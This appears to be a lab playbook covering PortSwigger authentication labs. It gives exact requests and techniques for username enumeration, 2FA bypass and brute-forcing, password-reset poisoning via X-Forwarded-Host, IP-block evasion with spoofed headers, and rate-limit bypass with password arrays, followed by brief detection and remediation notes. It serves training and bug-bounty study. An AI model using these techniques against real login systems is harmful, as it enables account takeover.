Authentication

Authentication — Complete Deep Dive

Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert

When to Use

• BSCP certification prep
• Real-world bug bounty hunting
• Building exploitation chains
• Understanding bypass techniques

Prerequisites

• Burp Suite Professional
• Burp Collaborator / interactsh
• Browser with proxy configured

Workflow

Phase 1: Reconnaissance

• Identify input vectors, parameters, and application behavior.

Phase 2: Exploitation

• Apply standard lab payloads.

Phase 3: Zero-Day Escalation

• Fuzz filters, bypass WAFs, and chain with other vulns.

Lab Playbooks

Lab 1: Username enum different responses 🟢 APPRENTICE

Burp Intruder with username wordlist. Check response length/content difference: Invalid username vs Incorrect password.

Lab 2: 2FA simple bypass 🟢 APPRENTICE

After login, skip /login2 (2FA page) and navigate directly to /my-account.

Lab 3: Password reset broken logic 🟢 APPRENTICE

POST /forgot-password?temp-forgot-password-token=TOKEN HTTP/1.1

temp-forgot-password-token=TOKEN&username=carlos&new-password-1=hacked&new-password-2=hacked

Change username to victim. Token validation doesn't check user ownership.

Lab 4: Subtly different responses 🟡 PRACTITIONER

Check for trailing period: Invalid username or password vs Invalid username or password.

Lab 5: Response timing 🟡 PRACTITIONER

Long password → longer response time for valid usernames (bcrypt hash computed). Use X-Forwarded-For: 1.1.1.§1§ to bypass IP lock.

Lab 6: Broken brute-force IP block 🟡 PRACTITIONER

Login with valid creds every 2 attempts to reset the IP counter. Alternate: valid→attack→valid→attack.

Lab 7: Username enum via account lock 🟡 PRACTITIONER

Locked account = account exists. Send 5 attempts for each username. Locked response = valid user.

Lab 8: 2FA broken logic 🟡 PRACTITIONER

POST /login2 HTTP/1.1
Cookie: verify=carlos

mfa-code=§1234§

Change verify cookie to victim, brute force 4-digit MFA code.

Lab 9: Stay-logged-in cookie crack 🟡 PRACTITIONER

Cookie = Base64(username:MD5(password)). Decode, crack MD5 hash.

Lab 10: Offline password cracking 🟡 PRACTITIONER

Steal cookie via XSS → decode Base64 → crack MD5 hash offline with hashcat.

Lab 11: Password reset poisoning middleware 🟡 PRACTITIONER

POST /forgot-password HTTP/1.1
X-Forwarded-Host: EXPLOIT-SERVER

username=carlos

Reset link sent to carlos uses your host → steal reset token.

Lab 12: Brute-force via password change 🟡 PRACTITIONER

Password change function reveals different errors for wrong vs correct current password. Brute force current password via this oracle.

Lab 13: Multiple credentials per request 🔴 EXPERT

{"username":"carlos","password":["123456","password","qwerty",...]}

Send password array — server tries all in one request, bypassing rate limiting.

Lab 14: 2FA brute force 🔴 EXPERT

Macro in Burp: auto-login → auto-get 2FA page → brute force code → repeat. Set session handling rule to use macro.

Blue Team Detection

• Monitor access logs for anomalous payloads.
• Implement strict input validation and parameterized queries where applicable.
• Create WAF rules masking generic attack patterns.

Zero-Day Research

When standard technique fails:

1. Identify the filter/WAF
2. Fuzz with Burp Intruder custom wordlists
3. Search GitHub/Twitter for new bypasses
4. Chain with other vulns for escalation
5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

Concept	Description
PortSwigger Vectors	Standardized approaches to vulnerability classes.
Payload Encoding	Modifying payloads to bypass basic string matching WAFs.

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

🔵 Blue Team

• Deploy robust WAF rules to detect anomalies.
• Monitor logs for unusual access patterns.

🛡️ Remediation & Mitigation Strategy

• Input Validation: Sanitize and strictly type-check all inputs.
• Least Privilege: Constrain component execution bounds.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger Labs
• PayloadsAllTheThings
• HackTricks